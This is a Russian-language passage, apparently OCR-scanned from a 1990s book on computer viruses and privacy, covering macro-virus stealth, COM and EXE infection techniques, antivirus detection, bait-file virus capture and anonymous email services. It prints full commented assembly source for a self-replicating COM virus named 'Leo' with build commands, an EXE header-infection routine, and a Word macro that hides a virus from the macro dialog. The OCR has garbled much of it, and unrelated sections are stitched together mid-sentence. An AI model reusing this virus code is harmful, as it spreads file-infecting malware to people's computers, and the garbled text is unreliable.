Обязательно нужно все это куда-нибудь записать, можно в файл
(и хранить его в надежном месте, например, на диске, созданном про-
граммой BestCrypt). Рекомендуется использовать абсолютно разные
данные при работе с разными BBS! В FTN-сетях следует регистриро-
ваться, применяя подобные методы.
Рассмотрим еще один аспект privacy. Это "нехорошие" функции многих
программ: вести логические протоколы работы и так далее.
Специальные процедуры
Существует несколько способов скрыть вирус или сделать его более
эффективным. Например, можно создать специальный макрос, прячу-
щий вирус, если Tools/Macro открывается для просмотра. Код такого
макроса может выглядеть примерно так:
Sub MAIN
On Error Goto ErrorRoutine
OldName$=NomFichier$()
If macros.bDebug Then
MsgBox "start ToolsMacro"
Dim dig As OutilsMacro
If macros.bDebug Then MsgBox "1"
GetCurValues dig
If macros.bDebug Then MsgBox "2"
On Error Goto Skip
Dialog dig
OutilsMacro dig
Skip:
On Error Goto ErrorRoutine 'При ошибке на выход
End If
REM enable automacros
DisableAutoMacros 0
macros. SavToGlobal(01dName$)
macros.objectiv
Goto Done 'Переход на метку Done
ErrorRoutine:
On Error Goto Done "Переход на метку Done
If macros.bDebug Then
MsgBox "error "+Str$(Err)+" occurred" 'Сообщение об ошибке
End If
Done:
End Sub
Макро-вирусы также могут включать внешние процедуры. Например,
вирус Nuclear пытается откомпилировать и запустить внешний
файл-разносчик вируса, некоторые троянские макросы пытаются фор-
матировать винчестер при открытии документа.
Способы внедрения СОМ-вирусов
Рассмотренный вирус дописывался в конец файла, а в начало файла
вписывал переход на себя. Существуют и другие способы внедрения
вирусов.
Рассмотрим два варианта внедрения СОМ-вируса в начало файла.
Вариант первый. Вирус переписывает начало программы в конец файла,
чтобы освободить место для себя. После этого тело вируса записывает-
ся в начало файла, а небольшая его часть, обеспечивающая перенос вы-
тесненного фрагмента программы, на прежнее место - в конец. При вос-
становлении первоначального вида программы тело вируса будет
затерто, поэтому код вируса, восстанавливающий программу, должен
находиться в безопасном месте, отдельно от основного тела вируса.
Этот способ внедрения изображен на рис. 1.3.
Рис. 1.3.
При загрузке зараженного таким способом файла управление получит
вирус (так как он находится в начале файла и будет загружен с адреса
OlOOh). После окончания работы вирус передает управление коду, пере-
носящему вытесненную часть программы на прежнее место. После вос-
становления (в памяти, не в файле) первоначального вида программы,
она запускается. Схема работы вируса изображена на рис. 1.4.
Второй вариант отличается от первого тем, что вирус, освобождая для
себя место, сдвигает все тело программы, а не переносит ее часть в ко-
нец файла. Этот способ внедрения изображен на рис. 1.5.
После запуска зараженной программы, как и в предыдущем случае,
управление получает вирус. Дальнейшая работа вируса отличается
только тем, что часть вируса, восстанавливающая первоначальный вид
программы, переносит к адресу OlOOh все тело программы, а не только
вытесненную часть. Схема работы вируса, заражающего файл таким
образом, приведена на рис. 1.6.
Существуют разновидности вирусов, не дописывающие часть своего
тела в конец файла. К примеру, вирус может внедряться в середину
файла. В этом случае алгоритм работы вируса является смесью алгорит-
мов одного из двух только что описанных вирусов и вируса, описанно-
го в разделе "Простейший СОМ-вирус".
Способы заражения ЕХЕ-файлов
Самый распространенный способ заражения ЕХЕ-файлов такой: в конец
файла дописывается тело вируса, а заголовок корректируется (с сохране-
нием оригинального) так, чтобы при запуске инфицированного файла
управление получал вирус. Похоже на заражение СОМ-файлов, но вмес-
то задания в коде перехода в начало вируса корректируется собственно
адрес точки запуска программы. После окончания работы вирус берет из
сохраненного заголовка оригинальный адрес запуска программы, прибав-
ляет к его сегментной компоненте значение регистра DS или ES (полу-
ченное при старте вируса) и передает управление на полученный адрес.
Следующий способ - внедрение вируса в начало файла со сдвигом кода
программы. Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после
него - код инфицируемой программы. Таким образом, код программы
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название
способа - "способ сдвига". При запуске инфицированного файла вирус
заражает еще один или несколько файлов. После этого он считывает
в память код программы, записывает его в специально созданный на
диске временный файл с расширением исполняемого файла (СОМ или
ЕХЕ), и затем исполняет этот файл. Когда программа закончила рабо-
ту, временный файл удаляется. Если при создании вируса не применя-
лось дополнительных приемов защиты, то вылечить инфицированный
файл очень просто - достаточно удалить код вируса в начале файла,
и программа снова будет работоспособной. Недостаток этого метода
в том, что приходится считывать в память весь код инфицируемой про-
граммы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий способ заражения файлов - метод переноса - по всей ви-
димости, является самым совершенным из всех перечисленных. Вирус
размножается следующим образом: при запуске инфицированной про-
граммы тело вируса из нее считывается в память. Затем ведется поиск
неинфицированной программы.
В память считывается ее начало,
по длине равное телу вируса. На это место записывается тело вируса.
Начало программы из памяти дописывается в конец файла. Отсюда на-
звание метода - "метод переноса". После того, как вирус инфицировал
один или несколько файлов, он приступает к исполнению программы,
из которой запустился. Для этого он считывает начало инфицирован-
ной программы, сохраненное в конце файла, и записывает его в начало
файла, восстанавливая работоспособность программы. Затем вирус уда-
ляет код начала программы из конца файла, восстанавливая оригиналь-
ную длину файла, и исполняет программу. После завершения програм-
мы вирус вновь записывает свой код в начало файла, а оригинальное
начало программы - в конец. Этим методом могут быть инфицированы
даже антивирусы, которые проверяют свой код на целостность, так как
запускаемая вирусом программа имеет в точности такой же код, как
и до инфицирования.
Стандартное заражение ЕХЕ-файлов
Стандартное заражение - заражение, при котором вирус внедряется
в конец файла, изменяя заголовок так, чтобы после загрузки файла уп-
равление получил вирус. Принципиально действие такого вируса мало
отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить
способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-
граммы:
;Читаем заголовок ЕХЕ-файла (точнее, только первые 18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21 h
Останавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя Sl+смещение элемента
mov si,offset EXEHeader
[Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним полученную длину файла
mov Reallen.dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
оверлейные файлы. Их длина, указанная в заголовке,
.-меньше реальной, то есть эти файлы загружаются
;в память не полностью.
Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
Сохраним в стеке реальную длину ЕХЕ-файла
push dx
push ax
рассчитаем размер ЕХЕ-файла в 512-байтных страницах и остаток
CompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX - остаток, образующий
;еще одну (неучтенную) страницу.
.Добавим эту страницу к общему числу страниц -
;если остаток не равен нулю, то
.увеличим число страниц
or dx.dx
jz m1
inc ax
m1:
.Будем считать пригодным для заражения
.стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.
.Значения констант, используемых в программе,
.равны смещению соответствующего
;элемента в заголовке ЕХЕ-файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss.ax
mov ax,[si+ExeSP]
mov oldsp.ax
mov ax,[si+ReloCS]
mov oldcs.ax
mov ax,[si+Exe!P]
mov oldip.ax
. Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
.Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE - длина тела вируса
adc dx.0
рассчитаем получившуюся длину (одна страница - 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx.dx
jz newJen
inc ax
NewJen:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx.Reallen+2
mov ax.Reallen
; Рассчитаем новую точку входа.
.Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
.прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div ex
Получили число параграфов (AX) и остаток (DX - смещение
;вируса в последнем параграфе).
;0тнимем от числа параграфов в файле число
.параграфов в заголовке - получим сегмент входа в ЕХЕ-файл
sub ax,[si+HdrSize]
;3апишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExelP],dx
.Замечание: можно было округлить полученное число,
;и вирус начинался бы с OOOOh.
;Но этого делать не стоит.
,-Естественно, все обращения к данным в этом вирусе
должны быть нефиксированными, как и в любом другом вирусе.
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si.VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA - смещение относительно начала тела вируса
;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
.' Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека -
;на 100h байт после тела вируса
mov [si+ReloSSj.ax
mov ax.VIRSIZE+IOOh
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
; Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateRle:
;3апишем тело вируса
WriteBody:
.-Установим указатель чтения/записи в конец файла
mov bx,Handle
хог сх,сх
xor dx.dx
mov ax,4202h
int 21 h
.Запишем тело вируса в файл
mov ah,40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h
;3апишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак, вирус "поселился" в ЕХЕ-файле. А как после окончания работы
вируса передать управление инфицированной программе? Вот процеду-
ра выхода из вируса:
CureEXE:
StackBack:
-.Установим первоначальный указатель (сегмент и смещение) стека
mov ax.ds
-.Прибавим ООЮп, после чего в АХ будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;3апретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
-.Установим сегмент стека (PSP+Wh+OldSS)
mov ss.ax
:Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
; Разрешим прерывания - опасный участок пройден
sti
[Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax.DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение (PSP+Wh+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
.Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iret
Стандартные программы защиты
В большинстве случаев вирус, заразивший компьютер, помогут обнару-
жить уже разработанные программы-детекторы. Они проверяют, имеет-
ся ли в файлах на указанном пользователем диске специфическая для
данного вируса последовательность байт. При обнаружении вируса про-
грамма выводит на экран соответствующее сообщение.
Стоит также заметить, что программы-детекторы не слишком универ-
сальны, поскольку способны обнаружить только известные вирусы. Не-
которым таким программам можно сообщить специальную последова-
тельность байт, характерную для какого-то вируса, и они смогут
обнаружить инфицированные им файлы - например, это умеет Notron
AntiVirus или AVSP.
Программа Aidstest устарела и сейчас уже практически не использует-
ся. Наиболее широкое распространение получили программы DrWeb
и AVP. Благодаря своим новейшим детекторам, они могут обнаружить
любые вирусы - как самые старые, так и только что появившиеся. Еще
нужно упомянуть детектор Adinf. Эта антивирусная программа обнару-
живает все вирусы, не изменяющие длину файлов, невидимые вирусы,
и многие другие. Таким образом, эти три программы обеспечат мощней-
шую защиту против вирусов. Кстати, на западе тоже предпочитают
пользоваться российскими программами DrWeb и AVP.
Спасаясь от вирусов, создайте мощную защиту против них. Установите
на своем диске AVP, DrWeb и Adinf. Каждая программа хороша по-сво-
ему - пусть защита будет многоуровневой. Все эти программы можно
вписать в файл AUTOEXEC.BAT, тогда при загрузке компьютера про-
верка на заражение вирусом будет проводиться автоматически.
Всегда проверяйте файлы, попадающие на ваш компьютер. Любой из
них может быть заражен вирусом, это нужно помнить. Никогда не по-
зволяйте посторонним работать на вашем компьютере - именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и про-
граммы всегда нужно проверять на вирус.
Структура и процесс загрузки ЕХЕ-программы
В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не-
скольких сегментов (кодов, данных, стека). Они могут занимать боль-
ше 64Кбайт.
ЕХЕ-файл имеет заголовок, который используется при его загрузке.
Заголовок состоит из форматированной части, содержащей сигнатуру
и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на-
стройки адресов (Relocation Table). Таблица состоит из значений в фор-
мате сегмент:смещение. К смещениям в загрузочном модуле, на которые
указывают значения в таблице, после загрузки программы в память дол-
жен быть прибавлен сегментный адрес, с которого загружена программа.
При запуске ЕХЕ-программы системным загрузчиком (вызовом функ-
ции DOS 4Bh) выполняются следующие действия:
1. Определяется сегментный адрес свободного участка памяти, размер
которого достаточен для размещения программы.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ-
ствующие значения.
4. Адрес DTA устанавливается равным PSP:0080h.
5. В рабочую область загрузчика считывается форматированная часть
заголовка ЕХЕ-файла.
6. Вычисляется длина загрузочного модуля по формуле:
Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig.
7. Определяется смещение загрузочного модуля в файле, равное
HdrSize*16.
8. Вычисляется сегментный адрес (START_SEG) для загрузки -
обычно это PSP+lOh.
9. Считывается в память загрузочный модуль (начиная с адреса
START_SEG:0000).
10. Для каждого входа таблицы настройки:
a) читаются слова I_OFF и I_SEG;
b) вычисляется RELC^SEG-START^SEG+LSEG;
c) читается слово по адресу RELO_SEG:I_OFF;
d) к прочитанному слову прибавляется START_SEG;
e) результат запоминается по тому же адресу (RELO_SEG:I_OFF).
11. Распределяется память для программы в соответствии с МахМет
и МтМет.
12. Инициализируются регистры, выполняется программа:
a) ES=DS°PSP;
b) АХ=результат проверки правильности идентификаторов драйве-
ров, указанных в командной строке;
c) SS°START_SEG+ReloSS, SP-ExeSP;
d) CS=START_SEG+ReloCS, IP=ExeIP.
Структура и процесс загрузки СОМ-программы
Что же представляет собой СОМ-программа, как она загружается
в память и запускается?
Структура СОМ-программы предельно проста - она содержит только
код и данные программы, не имея даже заголовка. Размер СОМ-про-
граммы ограничен размером одного сегмента (64Кбайт).
И еще два понятия, которые часто будут встречаться:
Program Segment Prefix (PSP) - область памяти размером 256 (OlOOh)
байт, предшествующая программе при ее загрузке. PSP содержит дан-
ные командной строки и относящиеся к программе переменные.
Disk Transfer Address (DTA) - блок данных, содержащий адреса обмена
данными с файлом (чтение или запись). Область DTA для работы
с файлом используют многие функции, в том числе и не производящие
чтение или запись в файл. Примером может служить функция 4Eh
(найти первый файл по шаблону), которая будет неоднократно встре-
чаться в листингах программ.
Загрузка СОМ-программы в память и ее запуск происходят так:
1. Определяется сегментный адрес свободного участка памяти доста-
точного для размещения программы размера.
2. Создается и заполняется блок памяти для переменных среды.
3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP;
сегментЮЮОЬ - программа). В поля PSP заносятся соответствую-
щие значения.
4. Устанавливается адрес DTA равным PSP:0080h.
5. Загружается СОМ-файл с адреса PSP:0100h.
6. Значение регистра АХ устанавливается в соответствии с парамет-
рами командной строки.
7. Регистры DS, ES и SS устанавливаются на сегмент PSP и програм-
мы (PSP.-OOOOh).
8. Регистр SP устанавливается на конец сегмента, после чего в стек за-
писывается OOOOh.
9. Происходит запуск программы с адреса PSP:0100h.
СОМ-программа всегда состоит из одного сегмента и запускается со
смещения OlOOh.
Таблица импортируемых имен.
В ней записаны имена модулей, импор-
тируемых в исполняемый файл. Каждый вход состоит из двух частей -
байта длины строки и собственно строки.
Таблица нерезидентных имен.
Содержит имена экспортируемых функ-
ций, содержащихся в исполняемом файле. Эти имена не всегда остают-
ся резидентными в памяти. Структура полностью совпадает со структу-
рой таблицы резидентных имен.
Таблица ресурсов.
Ресурсами являются все основные объекты интер-
фейса - диалоговые окна, меню, курсоры, растровые изображения, знач-
ки и так далее.
ющие экспортируемые функции исполняемого файла.
В ней содержатся строки, идентифициру-
ющие экспортируемые функции исполняемого файла. Постоянно нахо-
дятся в памяти и никогда не сбрасываются на диск. Верхний и нижний
регистры различаются, ноль в конце отсутствует.
Данные в таблице находятся в виде:
- длина строки (равна нулю, если в таблице нет дополнительных
строк);
- строка резидентного имени (первая строка - имя модуля);
- порядковый номер, идентифицирующий строку. Может использо-
ваться в качестве индексного выхода в таблицу.
Таблица ссылок на модули.
В ней содержится список смещений имен
модулей, хранящихся в таблице импортируемых имен. Каждый вход
в таблице есть двубайтное последовательное число.
Таблица входов.
В ней содержатся группы точек входа в исполняемый
файл.
Эти группы создаются редактором связей и последовательно пронуме-
рованы (начиная с 1). Каждая группа начинается с двухбайтного заго-
ловка, который содержит число входов в группе (OOh - конец таблицы)
и дополнительную информацию о сегменте (FFh - перемещаемый,
FEh - вход относится к константе, определенной внутри модуля, иначе
вход является индексом сегмента). Для перемещаемых сегментов каж-
дый вход состоит из шести байт, а для фиксированных - из трех.
Тело вируса записывается в конец
Рис. 1.1.
;Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx,offset fname - offset myself
add dx.bp
mov cx,00100111b
int 21h
Затем вирус проверяет (по первому байту файла), подходят ли ему най-
денные СОМ-программы:
[Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21h
;Если при открытии файла ошибок не произошло,
;переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
; Читаем первый байт файла
See_Him:
xchg bx,ax
mov ah,3Fh
mov dx,offset buf-offset myself
add dx.bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21h
Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего
.файла - этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
Перед заражением файла вирус проверяет сигнатуру - не исключено,
что файл уже заражен:
Переходим в конец файла (на последний байт)
mov ax,4200h
xor ex,ex
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx.offset bytik-offset myself
add dx.bp
int 21h
.Если при чтении файла ошибок не произошло,
[Проверяем сигнатуру,
;иначе ищем следующий файл
jnc test_bytik
jmp find_next
[Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,
.если ее нет - будем заражать
je find_next2
jmp NotJnfected
Затем, в соответствии с предложенной схемой, вирус дописывается
в конец файла-жертвы и устанавливает адрес перехода на самого себя:
[Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Останавливаем регистр DS на сегмент кода
push cs
pop ds
[Копируем вирус в файл
mov ah,40h
mov cx.offset VirEnd-offset la
mov dx,bp
sub dx,offset myself-offset la
int 21h
[Записываем в начало файла переход на тело вируса
Write_Jmp:
.Переходим в начало файла
xor сх.сх
xor dx,dx
mov ax,4200h
int 21h
[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx, offset jmpvir-offset myself
add dx.bp
int 21h
После того, как вирус закончит свою работу, он восстанавливает
в исходное состояние первые три байта программы (в памяти компью-
тера) и передает управление на начало программы. Далее, при
запуске зараженного файла, управление сначала получает вирус, затем -
исходная программа. Благодаря такой схеме работы рассматриваемый
вирус может спокойно существовать, будучи один раз выпущенным
на волю.
Как запустить вирус? В любом текстовом редакторе создается файл
LEO.ASM, содержащий исходный текст вируса, затем этот файл компи-
лируется и компонуется готовая программа. Например, в системе про-
граммирования Turbo Assembler последние два этапа выполняются та-
кими командами:
tasm.exe leo.asm
tlink leo.obj/t
В итоге получился файл LEO.COM, содержащий готовый СОМ-вирус.
Для проверки работы вируса можно создать отдельный каталог и ско-
пировать в него этот файл, а также несколько других СОМ-файлов.
После запуска LEO.COM вирус внедрится во все остальные СОМ-фай-
лы. Не стоит бояться, что будет заражен сразу весь компьютер - вирус
распространяется только в текущем каталоге. Ниже приводится исход-
ный текст вируса:
.286 .Устанавливаем тип процессора
CheckByte equ OFOh
[Указываем, что регистры CS и DS содержат
;адрес сегмента кода программы
assume cs:code, ds:code
;Начало сегмента кода. В конце программы сегмент кода нужно
;закрыть - "code ends"
code segment
Останавливаем смещения в сегменте кода.
Данная строчка обязательна
;для СОМ-программы (все СОМ-программы
начинаются с адреса 100h)
org 100h
start:
;Имитируем зараженный СОМ-файл.
;Тело вируса начинается с метки la
; jmp la
db OE9h ;Код команды JMP
dw offset la-offset real
real:
[Выходим из программы
mov ah,4Ch
int 21 h
;3десь начинается тело вируса
la:
;Сохраняем регистры и флаги
pushf
pusha
push ds es
.Получаем точку входа.
;Для этого вызываем подпрограмму (следующий
;за вызовом адрес) и читаем из стека адрес возврата
call MySelf
MySelf:
pop bp
восстанавливаем первые три байта исходной программы
mov al,[bp+(offset bytes_3[0]-offset MySelf)]
mov byte ptr cs:[100h],al
mov al,[bp+(offset bytes_3[1]-offset MySelf)]
mov byte ptr cs:[101h],al
mov al,[bp+(offset bytes_3[2]-offset MySelf)]
mov byte ptr cs:[102h],al
[Дальнейшая задача вируса - найти новую жертву.
;Для этого используется функция 4Eh (Найти первый файл).
;Ищем файл с любыми атрибутами
Find_First:
.Ищем первый файл по шаблону имени
mov ah,4Eh
mov dx.offset fname-offset myself
add dx.bp
mov cx,00100111b
int 21 h
;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
attributes:
.Читаем оригинальные атрибуты файла
mov ax,4300h
mov dx,9Eh .Адрес имени файла
int 21 h
.Сохраняем оригинальные атрибуты файла
push ex
•.Устанавливаем новые атрибуты файла
mov ax,4301h
mov dx,9Eh .Адрес имени файла
mov cx,20h
int 21 h
Переходим к открытию файла
jmp Open
;Ищем следующий файл, так как предыдущий не подходит
FincLNext:
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh ;Адрес имени файла
pop сх
int 21 h
[Закрываем файл
mov ah,3Eh
int 21 h
;Ищем следующий файл
mov ah,4Fh
int 21 h
;Если файл найден - переходим к смене атрибутов, иначе выходим
;из вируса (здесь нет подходящих для заражения файлов)
jnc attributes
jmp exit
.-Открываем файл
Open:
mov ax,3D02h
mov dx,9Eh
int 21 h
;Если при открытии файла ошибок не произошло -
.переходим к чтению, иначе выходим из вируса
jnc See_Him
jmp exit
;Читаем первый байт файла
See_Him:
xchg bx.ax
mov ah,3Fh
mov dx.offset buf-offset myself
add dx,bp
xor ex,ex ;CX=0
inc ex [(увеличение на 1) СХ=1
int 21 h
.Сравниваем. Если первый байт файла
;не E9h, то переходим к поиску следующего файла -
;этот для заражения не подходит
cmp byte ptr [bp+(offset buf-offset myself )],OE9h
jne find_next
; Переходим в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h
[ Читаем первые три байта файла в тело вируса
See_Him2:
mov ah,3Fh
mov dx,offset bytes_3-offset myself
add dx.bp
mov cx,3
int 21 h
.Получаем длину файла, для чего переходим в конец файла
Testik:
mov ax,4202h
xor ex,ex
xor dx.dx
int 21h
Size_test:
;Сохраняем полученную длину файла
mov [bp+(offset flen-offset MySelf)],ax
[Проверяем длину файла
cmp ax.64000
;Если файл не больше 64000 байт,- переходим
;к следующей проверке,
;иначе ищем другой файл (этот слишком велик для заражения)
jna richJest
jmp find_next
Проверим, не заражен ли файл.
;Для этого проверим сигнатуру вируса
RichJest:
[Переходим в конец файла (на последний байт)
mov ax,4200h
xor сх.сх
mov dx,[bp+(offset flen-offset MySelf)]
dec dx
int 21h
;Читаем сигнатуру вируса
Read:
mov ah,3Fh
xor ex,ex
inc ex
mov dx,offset bytik-offset myself
add dx.bp
int 21 h
;Если при чтении файла ошибок
;не произошло - проверяем сигнатуру,
.иначе ищем следующий файл
jnc test_bytik
jmp tind_next
;Проверяем сигнатуру
Test_bytik:
cmp byte ptr [bp+(offset bytik-offset myself )],CheckByte
;Если сигнатура есть, то ищем другой файл,
.если нет - будем заражать
jne NotJnfected
jmp find_next
.Файл не заражен - будем заражать
NotJnfected:
mov ax,[bp+(offset flen-offset myself)]
sub ax,03h
mov [bp+(offset jmp_cmd-offset myself)],ax
l_am_copy:
.Переходим в конец файла
mov ax,4202h
xor ex,ex
xor dx.dx
int 21 h
[Устанавливаем регистр DS на сегмент кода
push cs
pop ds
.Копируем вирус в файл
mov ah,40h
mov ex,offset VirEnd-offset la
mov dx.bp
sub dx,offset myself-offset la
int 21 h
Записываем в начало файла переход на тело вируса
Write_Jmp:
.Переходим в начало файла
хог сх.сх
xor dx,dx
mov ax,4200h
int 21 h
[Записываем первые три байта файла (переход на тело вируса)
mov ah,40h
mov сх,3
mov dx.offset jmpvir-offset myself
add dx.bp
int 21h
;3акрываем файл
Close:
mov ah,3Eh
int 21h
;Восстанавливаем оригинальные атрибуты файла
mov ax,4301h
mov dx,9Eh
pop ex
int 21h
exit:
восстанавливаем первоначальные значения регистров и флагов
pop es ds
рора
popf
Передаем управление программе-носителю
push 100h
retn
-.Байт для чтения сигнатуры
bytik db (?)
.Зарезервировано для изменения трех байт вируса
jmpvir db OE9h
jmp_cmd dw (?)
;Длина файла
flen dw (?)
;Шаблон для поиска файлов
fname db "*.com",0
;0бласть для хранения команды перехода
bytes_3 db 90h, 90h, 90h
;Байт памяти для чтения первого байта файла
;с целью проверки (Е9п)
buf db (?)
;Название вируса
virus_name db "Leo"
;Сигнатура
a db CheckByte
VirEnd:
code ends
end start
Test.com
cseg segment
assume cs:cseg, ds:cseg, ss:cseg
org -lOOh
Start:
db 1249 dup (OFAh,90h,OFBh,OF8h)
1 60 Методы борьбы с вирусами
mov ah,4Ch
int 21h
cseg ends
End Start
Test.exe
cseg segment
assume cs:cseg, ds:cseg
Start:
db 1000 dup (OFAh,90h,OFBh,OF8h)
mov ah,4Ch
int 21h
cseg ends
sseg segment stack
assume ss:sseg
db 118 dup (OFAh,90h,OFBh,OF8h)
sseg ends
End Start
Скопируем приманки на зараженную машину. Выполним над ними как
можно больше операций: запустим, скопируем в другое место винчесте-
ра и на дискету, переместим, просмотрим их в NC и DOS (командой
dir). При этом желательно несколько раз поменять системное время
и дату, потому что вирусы нередко активны не каждый день и не круг-
лые сутки. Чтобы исключить Stealth-эффект, загрузимся с чистой дис-
кеты и рассмотрим внимательно эти файлы. Как правило, достаточно
бывает проконтролировать размер файлов и просмотреть их код при
помощи F3 - наличие вируса определить несложно.
в) Выделение нерезидентного файла. Самый неприятный случай.
Помимо того, что вирус нередко привередничает, распознавая
приманку, и по-прежнему отказывается работать "без выходных
и отпусков", так еще и заражаемость программ сильно зависит от
их расположения на винчестере. Одни нерезидентные вирусы за-
ражают только в текущем каталоге, другие - только в подкатало-
гах 1-го уровня, третьи - в каталогах, указанных в строке path
системной среды (Vienna), четвертые - вообще во всех каталогах
винчестера. Поэтому воспользуемся программой типа it, чтобы
скопировать приманки во все каталоги диска (запускаем из кор-
невого каталога):
rt copy a:\test.* .
Точка "." в конце - символ текущего каталога. Потом их можно будет
удалить:
rt del test*
Теперь выбираем заведомо зараженную программу и запускаем ее N раз,
постоянно изменяя время и дату. Проконтролировать изменение длины
поможет та же программа rt:
rt dir test.* >test.txt
Получаем файл test.txt, содержащий список файлов test.* с указанием
их длины. Выбираем тот файл приманки, который изменил длину.
Вот вирус и пойман.
Тип 1.
Пример: http://www.europe.com. Службы этого типа дают
пользователю возможность перенаправлять полученную на новый адрес
корреспонденцию по указанному пользователем адресу. Таким образом,
в наличии уже должен быть какой-либо адрес почты, поскольку исполь-
зуя протокол РОРЗ почту забрать нельзя. Отправление почты осуществ-
ляется напрямую через хост этой службы (протокол SMTP). Существу-
ет, правда, 60-дневный период, в течение которого можно пользоваться
и обычным почтовым ящиком (РОРЗ), после истечения периода -
за деньги. Пользователь самостоятельно выбирает userid, а также домен
из нескольких (бесплатно) или многих (платно) предложенных имен,
например: iname.com, writeine.com, girls.com, boys.com. Выполнив не-
сложные инструкции, можно стать обладателем нового адреса, скажем
ohhhhhhh@girls.coin. В процессе заполнения анкеты нужно указать свою
страну (например, Албания), имя (тут вариантов мало, все пишут Иван
Петров или Петр Иванов) и адрес, на который должна пересылаться
вся приходящая корреспонденция. Этот адрес впоследствии можно лег-
ко изменить. Вот и все! Недостаток: настоящий адрес пользователя из-
вестен сотрудникам службы.
Тип 2.
Службы этого типа дают пользователю возможность как отправ-
лять почту напрямую, так и получать ее (РОРЗ и SMTP), так что пер-
вичный адрес либо совсем не нужен, либо потребуется всего лишь раз,
при открытии счета. Для этих целей можно использовать адрес прияте-
ля или адрес в Hotmail (см. ниже). Пример: http://www.geocities.com
или http://www.netaddress.com
(возможности последней даже шире, она
позволяет помимо РОРЗ и SMTP читать и отправлять почту из окна
браузера, поэтому службу можно отнести и к типу 3). Технология от-
крытия счета примерно такая же. Преимущество: настоящий первичный
адрес неизвестен, единственный "след", который остается, это IP-адрес,
с которого происходит чтение и отправление почты. Службы также
дают возможность перенаправлять почту на первичный адрес, если есть
